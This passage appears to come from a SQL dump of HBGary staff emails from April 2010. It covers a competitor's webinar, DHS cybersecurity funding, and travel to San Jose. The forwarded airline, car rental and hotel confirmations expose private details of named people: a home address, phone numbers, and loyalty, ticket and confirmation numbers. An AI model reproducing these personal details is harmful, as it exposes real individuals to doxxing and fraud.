wrote:\r\n\r\n\r\n\r\nLooking forward to talking about it.  Ted and I are coming out to San Jose to meet with gd late next week and were thinking of flying in to or out of SAC we&#39;d or sat.  Can u guys get together we&#39;d night or Friday.\r\n\r\n\r\nAaron  From my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:04 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nwell, best said in person but overall I&#39;m not scared - wasn&#39;t that compelling and they completely mis-represent APT.  For example, they said APT != botnet, which is complete BS as all the malware system have a central control server architecture.  Also, the MIR stuff looked pretty janky.\r\n\r\n \r\n-Greg\r\nOn Fri, Apr 16, 2010 at 12:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWaiting for some details...Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',8012,'aaron_hbgary_com/8012.html'),(5444,'2010-04-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003960.M272892P14101Q299.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: How did the Mandiant webinar go','Ok so we&#39;d- satFrom my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: April 17, 2010 4:47:45 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: How did the Mandiant webinar go\r\nwhenever.\r\n-G\r\nOn Sat, Apr 17, 2010 at 12:43 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nGreat.  Which is better for u?  I think Friday might give us more time but either will work.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:18 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nyou bet\r\n \r\npenny might not be here but I will be.\r\n \r\n-Greg\r\nOn Sat, Apr 17, 2010 at 12:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLooking forward to talking about it.  Ted and I are coming out to San Jose to meet with gd late next week and were thinking of flying in to or out of SAC we&#39;d or sat.  Can u guys get together we&#39;d night or Friday.\r\n\r\n\r\n\r\nAaron  From my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:04 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nwell, best said in person but overall I&#39;m not scared - wasn&#39;t that compelling and they completely mis-represent APT.  For example, they said APT != botnet, which is complete BS as all the malware system have a central control server architecture.  Also, the MIR stuff looked pretty janky.\r\n\r\n\r\n \r\n-Greg\r\nOn Fri, Apr 16, 2010 at 12:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nWaiting for some details...Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',8662,'aaron_hbgary_com/8662.html'),(5445,'2010-04-17','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297003960.M496422P14101Q300.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: FW: House Panel OKs $150 Million for Infosec R&D','I spoke to ICE.  Brian Varine said that this money is more likely to go to US-CERT and no one cares much about what he has to say.\r\n \r\nBrian Varine suggested contacting Matt Pushkin from Syracuse Research.  Matt would know the gaps and is close to Randy Vickers.  Brian said that he had given contact information for Matt to Penny at one time and to ask if Penny has spoken to Matt?\r\n\r\nOn Sat, Apr 17, 2010 at 8:51 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\nFrom: Maughan, Douglas [mailto:Douglas.Maughan@dhs.gov] Sent: Saturday, April 17, 2010 7:46 AM\r\nTo: Penny Leavy-Hoglund; Maughan, DouglasSubject: RE: House Panel OKs $150 Million for Infosec R&amp;D\r\n \r\nThis is aimed for our program. Keep in mind it’s only a House Approp. It still has to be “conferenced” with the Senate so we don’t actually think we’ll get this much.\r\n\r\n \r\nDoug\r\n \r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] Sent: Saturday, April 17, 2010 10:30 AM\r\nTo: &#39;Maughan, Douglas&#39;Subject: FW: House Panel OKs $150 Million for Infosec R&amp;D\r\n \r\nIs this your pot of money?  Or did they give it to some other deserving person in DHS?:)  If you got some ideas for stealthy agents for DDNA\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Friday, April 16, 2010 12:34 PM\r\nTo: Aaron BarrCc: Greg Hoglund; Penny Leavy; Ted VeraSubject: Re: House Panel OKs $150 Million for Infosec R&amp;D\r\n \r\n\r\nPenny  will this money flow through Doug Maughn do you know?  \r\n\r\n \r\n\r\n \r\n\r\nOn Thu, Apr 15, 2010 at 9:59 PM, Aaron Barr &lt;adbarr@mac.com&gt; wrote:\r\n\r\n\r\n\r\nWe need to watch how this money flows out and start talking to customers in dhs about how we cam be leveraged on their R&amp;D.House Panel OKs $150 Million for Infosec R&amp;D\r\nSeeking Innovative Ways to Protect Government ITThe bill would give the Homeland Security Department $75 million in each of the next two fiscal years to fund R&amp;D projects to improve the nation&#39;s ability to prevent, protect, detect, respond to and recover from cyber attacks.Error! Filename not specified.\r\n\r\n\r\nFrom my iPhone\r\n\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',9520,'aaron_hbgary_com/9520.html'),(5446,'2010-04-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003960.M762404P14101Q301.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Your United flight confirmation - April 21, 2010 - Denver to San Jose','I\'m booking the car now, then hotel.  DO you know the GD address by chance?\r\n\r\nTed\r\n\r\n-------- Original Message --------\r\nSubject: 	Your United flight confirmation - April 21, 2010 - Denver to\r\nSan Jose\r\nDate: 	Sat, 17 Apr 2010 19:32:36 -0500 (CDT)\r\nFrom: 	UNITED-CONFIRMATION@UNITED.COM\r\nTo: 	TED@HBGARY.COM, MARK@HBGARY.COM\r\n\r\n\r\n\r\nUnited Airlines \r\nunited.com purchase details:\r\nConfirmation number ZLKL04\r\nView itinerary\r\n\r\nEasyCheck-in Online \r\nAvailable 1-24 hours before domestic flights and 24 hours before\r\ninternational flights.\r\n\r\n*Traveler guide***\r\n **\r\nView the Traveler Guide to learn about itinerary changes, travel tips,\r\nonboard meal and entertainment options and more.\r\n\r\n**\r\n** **\r\n** **\r\n** Flight info**\r\n** **\r\n** **\r\nWed, Apr 21, 2010 Denver, CO (DEN) San Jose, CA (SJC)\r\nFlight 	Depart 	Arrive 	Cabin 	Seats\r\nUnited 0245\r\n	DEN 11:50 AM\r\nWed, Apr 21, 2010 	SJC 01:29 PM\r\nWed, Apr 21, 2010 	Economy (V) 	N/A\r\nSelect seat(s) \r\nEquipment: 752  | Duration: 2h 39m | Non-stop | Fare code: VA0KY\r\nTraveled miles: 948 | Award miles: 948 | No Meal Service\r\n\r\nSat, Apr 24, 2010 Sacramento, CA (SMF) Denver, CO (DEN)\r\nFlight 	Depart 	Arrive 	Cabin 	Seats\r\nUnited 0107\r\n	SMF 11:31 AM\r\nSat, Apr 24, 2010 	DEN 02:59 PM\r\nSat, Apr 24, 2010 	Economy (T) 	07E, 07F\r\nEquipment: 319  | Duration: 2h 28m | Non-stop | Fare code: TA7KN\r\nTraveled miles: 910 | Award miles: 910 | No Meal Service\r\n\r\n** **\r\n** **\r\n** **\r\n** *Check-in information*\r\n\r\nPlease note that valid, government-issued photo identification must be\r\npresented at check-in. **\r\n** **\r\n** **\r\n**\r\n**\r\n**Review**\r\n** **\r\n** **\r\nName 	Frequent flyer 	Ticket 	Fare(s) 	Additional\r\ntaxes and fees 	Fare subtotal(s)\r\nTED VERA 	03116129450 	0162106398070 	405.00 USD 	21.40 USD 	426.40 USD\r\nComplete Secure Flight data complete Review\r\n\r\n\r\nMARK TRYNOR 		0162106398071 	405.00 USD 	21.40 USD 	426.40 USD\r\nComplete Secure Flight data complete Review\r\n\r\n\r\n\r\n** **\r\n** Please review the fare rules  for this\r\nitinerary. **\r\n** **\r\n** Fare total: 852.80 USD **\r\n** **\r\n** **\r\n**\r\n**\r\n** Purchase summary **\r\n** **\r\n** **\r\n** **\r\nProduct 	Credit card: 	Receipt 	Price\r\nTicket price 	Mastercard xxxxxxxxxxx9904 	ZLKL04 	852.80  USD\r\n\r\n** **\r\n** **\r\n** Ticket total:852.80 USD **\r\n** **\r\n** **\r\n** **\r\n** Itinerary total: **\r\n** **\r\n** Grand total: 852.80  USD **\r\n** **\r\n** **\r\n** **\r\n** **\r\n** **\r\n** **\r\n** **\r\n** Billing / Delivery information **\r\n** **\r\n** **\r\n** TED H VERA\r\n874 LEGEND OAK DR FOUNTAIN CO 80817 USA **\r\n** **\r\n** **\r\n** **\r\n** **\r\n** **\r\n** **\r\n** Book your hotel**\r\n** **\r\n** **\r\n** **\r\nLocation 	Dates of stay 	Hotel 	Rating 	Price\r\nSilicon Valley 	04/21-04/24 	Arena Hotel 		\r\nAs low as USD64.75 per night\r\nBook Now\r\n\r\nSilicon Valley 	04/21-04/24 	Radisson Plaza Hotel San Jose Airport 		\r\nAs low as USD81.00 per night\r\nBook Now\r\n\r\nSilicon Valley 	04/21-04/24 	The Plaza Suites 		\r\nAs low as USD129.00 per night\r\nBook Now\r\n\r\n\r\n** **\r\n** **\r\n** **\r\n** More hotels **\r\n** **\r\n** **\r\n** **\r\n\r\n\r\n        **Reserve your car with the United discount**\r\n\r\n	\r\n# • Save up to 20% with the United discount and earn triple miles\r\n# • Additional savings on the weekends and rentals of 5 or more days\r\n# • Plus, earn a *1,000 mile* booking bonus Reserve now\r\n\r\n\r\n\r\n        **Reserve your hotel with the United discount**\r\n\r\n\r\n	\r\nSave 20% or more at Oahu\'s Hilton Hawaiian Village Beach\r\nResort & Spa, Hilton Waikiki Prince Kuhio, or Hilton\r\nWaikoloa Village on Hawaii\'s Big Island. Reservations must\r\nbe made by Monday April 26, 2010. Reserve now\r\n\r\n\r\n** **\r\n** **\r\n** **\r\n**\r\n**\r\n\r\n\r\n    **Enhance your travel experience**\r\n\r\n	\r\nUnited Mileage Plus Visa 	*United Mileage Plus^® Visa*\r\nEarn 30,000 miles, and 1 mile per eligible $1. Redeem with no blackouts.\r\nApply now.\r\n\r\n\r\nAccess America 	Protect your travel plans with *Trip Protector* offered\r\nby United with Access America. Learn more.\r\n\r\nUnited Easycheckin 	Save time with EasyCheck-in Online. Find out more.\r\n\r\nMileage Plus Dining 	Dining opportunities to earn miles. Sign up now\r\n.\r\n\r\n\r\n****\r\n** **\r\n** **\r\n** **\r\n**\r\n**\r\n** United Airlines  **\r\n** **\r\n** **\r\n**\r\n**\r\n**united.com **\r\n\r\n**Thank you for booking at united.com where you\'ll always enjoy:**\r\n\r\n    * **United\'s guaranteed lowest fares Learn more\r\n      **\r\n    * **No booking fees**\r\n\r\n**\r\n**\r\n**\r\n\r\n**\r\n** Airline tickets are nontransferable. The name on your ticket must\r\nmatch the name on your government-issued photo ID presented at time of\r\ncheck-in. You may also be asked during check-in to present the credit\r\ncard used for purchase.\r\n\r\nPassengers traveling on United Airlines (UA) carriers are subject to\r\nUnited\'s contract of carriage\r\n, which is\r\navailable for download at united.com. The contract of carriage governs\r\nmatters such as: **\r\n\r\n    * ** ** ** Check-in requirements\r\n       for\r\n      domestic and international travel, including information about\r\n      when service may be refused; **\r\n    * ** ** ** Limits on liability\r\n\r\n\r\n      for delay, damage or loss of baggage, including fragile or\r\n      perishable goods; **\r\n    * ** ** ** Claims restrictions\r\n\r\n,\r\n      including time periods within which a passenger must file a claim\r\n      or bring an action against the UA Carrier; **\r\n    * ** ** ** The UA Carriers\' rights and limits on liability for delay\r\n      or failure to perform service\r\n\r\n,\r\n      including schedule changes, rerouting and substitution of\r\n      alternate air carrer, aircraft or mode of travel; **\r\n    * ** ** ** Rules on overbooking and reconfirmation of reservations;\r\n      and\r\n\r\n\r\n      **\r\n    * ** ** ** Baggage policies, including carry-on allowances and size\r\n      and weight restrictions for checked bags.\r\n\r\n\r\n      **\r\n      ** **\r\n\r\n** **\r\n\r\n    * ** ****Ticket rules: Ticket validity is based on fare and point of\r\n      origin. Refundable tickets are valid for one year from date of\r\n      issue. Nonrefundable tickets are valid as issued and, for travel\r\n      originating in the U.S., will lose remaining value if changes are\r\n      not made prior to your originally scheduled departure time on your\r\n      current ticketed travel dates. Certain fees/charges may also apply. **\r\n      **\r\n    * ****International travel: Be sure to bring a copy of your E-Ticket\r\n      receipt to the airport, along with your passport and any other\r\n      required travel documents. International travel information such\r\n      as State Department advisories and visa information can be found\r\n      through the united.com Travel Requirements\r\n       page. **\r\n      **\r\n    * ****Important travel tips: Please visit the Traveler Guide\r\n       page at\r\n      united.com for updated baggage policies, information about online\r\n      and airport check-in, security screening procedures, flight\r\n      status, airport maps, information for customers with special\r\n      needs, in-flight movie schedules and more. **\r\n      ** **\r\n\r\n** **\r\n** If you would like to view or modify your itinerary\r\n, please visit\r\nunited.com , where you can also: **\r\n\r\n    * ** ****access your Mileage Plus® account\r\n      **\r\n    * ** ****check flight status\r\n      **\r\n    * ** ** ** check in for your flight\r\n       (within\r\n      24 hours of departure) **\r\n    * ** ** ** view travel guidelines\r\n       **\r\n    * ** ****and more**\r\n      ** **\r\n\r\n**\r\n\r\n**\r\n** **\r\n** **\r\n',2774,'aaron_hbgary_com/2774.html'),(5447,'2010-04-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003961.M17703P14101Q302.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark.trynor@hbgary.com','Fwd: Avis Rent A Car:  Reservation Confirmation','\r\n\r\n-------- Original Message --------\r\nSubject: 	Avis Rent A Car: Reservation Confirmation\r\nDate: 	Sat, 17 Apr 2010 18:37:34 -0600 (MDT)\r\nFrom: 	Avis Rent A Car \r\nTo: 	ted@hbgary.com\r\n\r\n\r\n\r\n  Thank you TED, for renting with us! Your car is reserved.\r\n\r\n\r\n    Your Confirmation Number: 10124519US6\r\n\r\n  	\r\n*Base Rate:* 2 day(s) , 22 hour(s) 	*117.00 USD*\r\n\r\n*Taxes & Surcharges:* 	*48.96 USD *\r\n  	Surcharge 	\r\n36.10 USD\r\n\r\n  	\r\n  	\r\n$0.47 per day (Energy Recovery Fee)\r\n$2.23 per day (Vehicle License Fee)\r\n3.50% (Tourism Assessment Fee)\r\n$10.0 per rental (Customer Facility Charge)\r\n11.11% (Concession Recovery Fee)\r\n\r\n  	Tax (9.250 %) 	12.86 USD\r\n\r\n*Mileage:* 	*No Miles Included*\r\n*MILEAGE CHARGE:* 	*0.35 USD per Mile*\r\n\r\n	\r\n\r\n  	\r\n Approximate Total 	165.96 USD\r\n\r\n	\r\n\r\n  	\r\n*Rental Options:* 	*0.00 USD*\r\n  	\r\n\r\n*Rate Rules:*\r\nMILEAGE CHARGES vary based on miles driven and will be calculated upon\r\nvehicle return.\r\n\r\n	\r\n\r\n  	\r\n Estimated Total 	165.96 USD\r\n\r\n	\r\n\r\n  	\r\n*Notes: *\r\n\r\n    * Fuel Service Option charges are NOT included in the estimated\r\n      total, but will be calculated and applied at the time of rental.\r\n    * Your rate was calculated based on the information provided. Some\r\n      modifications may change this rate.\r\n\r\n	\r\n\r\n	\r\nAdd\r\n\r\nModify\r\n\r\nCancel\r\n\r\nMake\r\n\r\n\r\n\r\n    YOUR TIME & PLACE\r\n\r\n  	\r\n*Notes: * Modifying time or place will require reselection of car class\r\nand options.\r\n	\r\n  		\r\n  	\r\n*Pick-up Information*\r\nWednesday, April 21, 2010 @ 01:30 PM\r\nSan Jose Intl Airport, San Jose, SJC\r\nSee Airport Map\r\n\r\n2200 Airport Blvd, San Jose, SJC CA US\r\n(95110 )  (1) 408-993-2224\r\nSun - Sat 5:00 AM - 2:00 AM\r\n\r\n	\r\n*Return Information*\r\nSaturday, April 24, 2010 @ 11:30 AM\r\nSacramento Intl Airport, Sacramento, SMF\r\n6520 McNair Circle, Sacramento, SMF CA US\r\n(95837 )  (1) 916-922-5601\r\nSun - Sat 5:30 AM - 12:30 AM\r\n\r\n	\r\n\r\n	\r\n\r\n\r\n\r\n    RATE & BENEFIT INFORMATION\r\n\r\n  	\r\n*Notes: * Modifying your rate will require reselection of car class &\r\noptions.\r\n	\r\n  		\r\n  	\r\n*AWD Number:* 	*N/A*\r\n*Rate Code:* 	IF\r\n*Coupon Number:* 	*N/A*\r\n\r\n	\r\n\r\n\r\n\r\n    YOUR CAR\r\n\r\n  	\r\n*Notes: * Modifying Car & Rate will require reselection of options.\r\n	\r\n  		\r\n  	*Group E - Chevrolet Impala or similar* 	\r\n  	\r\n	  	\r\n  *5*\r\n  *2*\r\n  *2*\r\n  *18/29*\r\n	  	  	\r\n\r\n    * 4 Door\r\n\r\n    * AM/FM Radio\r\n\r\n    * Air Conditioning\r\n\r\n    * Cruise Control\r\n\r\n    * Automatic\r\n\r\n	\r\n\r\n\r\n\r\n    YOUR OPTIONS\r\n\r\n\r\n  	\r\n*Rental Options:* 	\r\nFuel Service Option (FSO)\r\n\r\n*Protections - Coverages:* 	\r\nLoss Damage Waiver (LDW)\r\nDeclined\r\nPersonal Accident Insurance (PAI)\r\nDeclined\r\nPersonal Effect Protection (PEP)\r\nDeclined\r\nAdditional Liability Insurance (ALI)\r\nDeclined\r\n\r\n	\r\n\r\n\r\n\r\n    YOUR INFORMATION\r\n\r\n\r\n  	\r\n*Name:* 	TED Vera\r\n*Email Address:* 	TED@HBGARY.COM\r\n*Phone:* 	7192378623\r\n*Miles / Points:* 	N/A\r\n*Flight Information:* 	UNITED AIRLINES –Flight#: 0245\r\n\r\n	\r\n\r\n\r\n\r\n    Reservation Terms & Conditions:\r\n\r\nCredit Card Policies \r\nDebit Card Policies \r\nAdditional Fees \r\nAge Requirements \r\nDMV Checks \r\nEstimated Totals \r\nRental Options \r\n\r\n*Credit Card Policies*\r\n\r\nAvis accepts most major credit cards as credit identification at the\r\ntime of rental.\r\n\r\nAccepted credit card list: Avis Charge Card, American Express, AT&T\r\nCapital, Diner\'s Club, Diner\'s Club Int\'l, Discover, GE Capital, JCB,\r\nMasterCard, Peterson, Howell and Heather (PHH), Sears and Visa.\r\n\r\nSome locations may not accept each of the referenced cards.\r\n\r\n*Top*\r\n\r\n*Debit Card Policies*\r\n\r\nThis location does accept bank debit cards with the MasterCard or Visa\r\nlogo at the time of rental if you are at least 25 years of age. You will\r\nbe subject to a credit check to determine creditworthiness.\r\n\r\nAvis reserves the right, in its sole discretion, to seek a Debit Card\r\nauthorization hold in excess of the estimated rental charges. When using\r\na debit card at Avis there may be a minimum hold of $500 and a maximum\r\nhold of the estimated rental charges will be placed on your account.\r\n\r\nUpon returning the vehicle, Avis will process a release of the unused\r\nportion of the hold subject to your Bank\'s procedures. The hold may take\r\nup to 2 weeks to be released by your bank.\r\n\r\nIf you fail to return the vehicle as agreed, Avis will obtain additional\r\nauthorizations from your account to cover the rental charges.\r\n\r\nAvis is not responsible for any returned checks or over-drafts based on\r\nthis policy.\r\n\r\nPositive identification in addition to your driver\'s license may be\r\nrequired.\r\n\r\nIn the United States, Debit, Cash or Check cards can be used at the end\r\nfor payment of rental charges. For acceptable credit identification and\r\npayment methods in countries outside of the United States, please\r\nconsult the Renter\'s Guide and search for the specific location.\r\n\r\n*Note:* Prepaid Debit/Gift cards are not acceptable methods of credit\r\nidentification to pick up a car at any location. One of the above\r\nmentioned cards must be presented. Prepaid Debit/Gift cards are accepted\r\nat time of return only.\r\n\r\n*Top*\r\n\r\n*Additional Fees*\r\n\r\nExtensions or late returns result in additional charges.\r\n\r\n*Top*\r\n\r\n*Age Requirements*\r\n\r\nRather than requiring customers to be 25 to rent, Avis at this location\r\nnow rents to customers between the ages of 21-24 with a valid credit\r\ncard and driver\'s license. At time of rental, we will automatically\r\napply an additional $27-per-day underage surcharge for these drivers.\r\n\r\nAdditionally, the following restrictions also will apply for renters\r\nbetween the ages of 21-24: Renters of luxury cars, mini-vans,\r\n12-passenger vans, specialty cars, full-size SUVs and premium SUVs will\r\nnot be permitted.\r\n\r\n*Government Minimum Age Policy - Military (FEMA, US Postal Dept., Navy\r\nand Army) and Civilian Personnel*\r\n\r\n    * Minimum age - 18 years (no underage surcharge will apply) with\r\n      government travel or purchase order\r\n    * Minimum age - 21 years (no underage surcharge will apply) with no\r\n      government travel or purchase order\r\n\r\n*Top*\r\n\r\n*DMV Checks*\r\n\r\nAt the time of rental, the renter or authorized driver may be subject to\r\nan electronic DMV check from the issuing state of the driver\'s license,\r\nor may be asked to sign a declaration attesting to specific criteria:\r\n\r\n    * The renter/authorized driver has a valid license that is not\r\n      currently suspended, expired, revoked, canceled or surrendered.\r\n    * The renter/authorized driver has not, within the last 36 months\r\n      had 1 or more convictions for reckless driving.\r\n    * The renter/authorized driver has not, within the last 36 months\r\n      had 1 or more convictions for driving under the influence (DUI),\r\n      driving while intoxicated (DWI), or driving while alcohol impaired\r\n      (DWAI).\r\n    * The renter/authorized driver has not, within the last 36 months\r\n      failed to report or leave the scene of an accident.\r\n    * The renter/authorized driver has never been in possession of a\r\n      stolen vehicle or used a vehicle in a crime.\r\n    * The renter/authorized driver has not, within the last 24 months\r\n      had 3 or more convictions for moving violations (including seat\r\n      belt violations).\r\n    * The renter/authorized driver has not, within the last 36 months\r\n      had 3 or more accidents\r\n\r\n*Top*\r\n\r\n*Estimated Totals*\r\n\r\nApproximate total includes base rate, taxes, and surcharges. Items such\r\nas coupon discounts, child safety seats and gas are NOT included in the\r\nestimated total. Optional coverages and one-way fees are subject to tax\r\nin certain locations. This tax is not reflected in the Estimated Total.\r\n\r\nEstimated total is subject to change based upon exchange rates at the\r\ntime of rental.\r\n\r\n*Top*\r\n\r\n*Rental Options*\r\n\r\nIf you have added any of the following rental options to your\r\nreservation, terms and conditions may apply.\r\n\r\nWhere2 GPS Navigation:\r\n\r\n    * Taxes not included.\r\n    * Available at participating locations.\r\n    * Minimum age is 25 but may vary by location, underage surcharges\r\n      may apply at certain locations.\r\n    * Reliability of directions subject to timing of software\r\n      implementation as well as that of which has been provided by the\r\n      maker of the installed maps.\r\n    * I (renter) acknowledge that the rental vehicle may be equipped\r\n      with Where2 which utilizes global positioning satellites. I\r\n      acknowledge that Where2 may be limited by atmospheric or\r\n      topographical conditions. I further acknowledge that Where2 may be\r\n      rendered inoperative if Where2 is tampered with or destroyed and\r\n      or damaged in an accident or if the satellite systems are\r\n      obstructed and inoperative.\r\n    * Customer is responsible for all costs in the event of lost, stolen\r\n      or damaged Where2 Unit and all of its components.\r\n    * Renter agrees to release and hold Avis harmless for any Where2\r\n      failures.\r\n\r\nGas Service Option:\r\n\r\n    * Fees for the Gas Service Option are not included in the Estimated\r\n      Total.\r\n    * Fees are assessed and applied at the time of rental.\r\n    * Fees vary by location and are determined by current market value\r\n      of gasoline in surrounding area of rental location and the fuel\r\n      tank size of rental vehicle.\r\n    * Customer will receive no credit or refund for unused fuel left in\r\n      tank at time of return.\r\n\r\n*Top*\r\n\r\n	  	\r\n\r\n\r\n    Contact Us\r\n\r\n\r\n  	Reservations & Avis.com Assistance 	  	1-800-230-4898\r\n  		  	\r\n  	Wizard Number / Preferred Profile Updates 	  	1-866-842-5552\r\n  	Monday - Friday 8am-5pm EST\r\n  		  	\r\n  	Worldwide Telephone Numbers - click here\r\n\r\n\r\n\r\n\r\n    Things to Do\r\n\r\n\r\n 	\r\n*Where to Eat, Shop & Stay\r\n*Look no further - our travel\r\nexperts have already done the\r\nlegwork for you. Click Here!\r\n	\r\n\r\n\r\n\r\n    Corporate Awards\r\n\r\n\r\n\r\n\r\n*Do you work for or own\r\na small business?* Get\r\nspecial rates, members-only\r\ndeals & earn rental rewards.\r\nEnroll for FREE!\r\n\r\n\r\n\r\n\r\n\r\n    Park\'N Fly Network\r\n\r\n\r\n 	*\r\n*\r\n*Going to the airport?*\r\nAll Avis customers can*\r\n*guarantee their parking in\r\nadvance and never have to\r\nworry about missing a flight.\r\nReserve Your Parking!\r\n\r\n\r\n\r\n\r\n\r\n- --\r\n\r\n',9131,'aaron_hbgary_com/9131.html'),(5448,'2010-04-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003961.M229182P14101Q303.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Reminder: Your stay at TownePlace Suites San Jose Cupertino 	begins Wednesday, April 21, 2010','Begin forwarded message:From: &#39;TownePlace Suites By Marriott Reservation&#39; &lt;reservations@towneplace.com&gt;\r\nDate: April 17, 2010 6:42:12 PM MDTTo: TED@HBGARY.COMSubject: Reminder: Your stay at TownePlace Suites San Jose Cupertino begins Wednesday, April 21, 2010\r\nReply-To: reservations@towneplace.com\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n\r\nTownePlace Suites San Jose Cupertino\r\n\r\n440 Saratoga Avenue,\r\n\r\nSan Jose, California 95129 USA \r\nPhone: 1-408-984-5903\r\nFax: 1-408-984-5904\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nReservation for  MR Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConfirmation Number: 85658438 \r\n\r\n\r\nCheck-in: Wednesday, April 21, 2010\r\n                                        (03:00 PM)\r\n                                    \r\n\r\nCheck-out: Friday, April 23, 2010\r\n                                        (12:00 PM)\r\n                                    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView hotel website\r\n\r\nModify or Cancel reservation\r\n\r\n\r\nDriving Directions &gt;&gt;\r\n\r\nMaps &amp; Transportation &gt;&gt;\r\n\r\n\r\n\r\n\r\n\r\nReservation Reminder\r\nDear MR Ted Vera,\r\nYour reservation #85658438 at the TownePlace Suites San Jose Cupertino begins soon. We&#39;re excited you&#39;ll be visiting and are preparing for your stay.\r\nTownePlace Suites San Jose Cupertino\r\n\r\n\r\nAbout Your Hotel\r\nServices &amp; Amenities\r\n\r\n\r\nComplimentary High-speed Internet in guest rooms\r\nFitness center on-site\r\nOutdoor pool\r\n\r\n\r\n\r\nFor a complete list of services and amenities, download the hotel fact sheet\r\n\r\n\r\nFind a flight: uncover the best fares \r\nHertz great special rates\r\nJoin Us, Help Save the Rainforest. Learn More and Donate Now\r\n\r\n\r\n\r\n\r\nAbout Your Destination\r\n\r\nWeather\r\n\r\n\r\nView a 10-day forecast\r\n\r\n\r\n\r\n\r\nWhat&#39;s happening in San Jose?\r\nYou know what you like. We know where you can find it in San Jose. Use the links below, proudly provided by wCities, to find things to do and see in San Jose.\r\n\r\n\r\n\r\n\r\n\r\n\r\nCity Insider\r\n\r\n\r\nTop Pick\r\n\r\n\r\nDining\r\n\r\n\r\nBars &amp; Nightlife\r\n\r\n\r\nThings to do\r\n\r\n\r\nBusiness Essentials\r\n\r\n\r\nShopping\r\n\r\n\r\nPractical Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nReservation Details\r\n\r\n\r\nConfirmation Number: 85658438\r\n\r\n\r\nYour hotel: TownePlace Suites San Jose Cupertino\r\n\r\nCheck-in: Wednesday, April 21, 2010\r\n                    (03:00 PM)\r\n                \r\n\r\nCheck-out: Friday, April 23, 2010\r\n                    (12:00 PM)\r\n                \r\n\r\nRoom type:  2 Bedroom Suite, Bedroom 1: Queen, Bedroom 2: Queen, Sofabed\r\n\r\n\r\nNumber of rooms: 1\r\n\r\nGuests per room: 3\r\n\r\nGuest name: Ted Vera\r\n\r\nReservation confirmed:  Sunday, April 18, 2010 (00:42:00 GMT)\r\n\r\nGuarantee method: Credit card guarantee, Master Card\r\n\r\n\r\nSpecial request(s):\r\n\r\n\r\n•High Floor Room, Request Noted\r\n\r\n•Refrigerator, Request Noted\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummary of Room Charges\r\nCost per night per room (USD)\r\n\r\n\r\nWednesday, April 21, 2010\r\n        -\r\n        Friday, April 23, 2010\r\n        (\r\n        2 nights \r\n        )\r\n    \r\n209.00\r\n\r\n\r\nBest Available rate \r\n \r\n\r\n\r\nEstimated government taxes and fees\r\n21.15\r\n\r\n\r\n\r\nTotal for stay (for all rooms)\r\n\r\n\r\n460.30\r\n\r\n\r\n\r\n\r\n\r\nComplimentary on-site parking\r\nChanges in taxes or fees implemented after booking will affect the total room price.\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou may modify or cancel your reservation online (see details below), or call 1-800-257-3000 in the US and Canada. Elsewhere, call our worldwide telephone numbers.\r\n\r\n\r\nContact us if you have questions about your reservation.\r\n \r\nCanceling Your Reservation\r\n\r\n\r\nYou may cancel your reservation for no charge until Tuesday, April 20, 2010 (1 day[s] before arrival).\r\nPlease note that we will assess a fee of 230.15 USD if you must cancel after this deadline.If you have made a prepayment, we will retain all or part of your prepayment. If not, we will charge your credit card.\r\n\r\n\r\nModifying Your Reservation\r\n\r\nPlease note that a change in the length or dates of your reservation may result in a rate change.\r\n\r\n\r\n\r\n\r\n\r\nMarriott Rewards\r\n\r\n\r\nYour Rewards level: Silver\r\nYour Rewards number: 754728749\r\n\r\n\r\n\r\nSign in to view 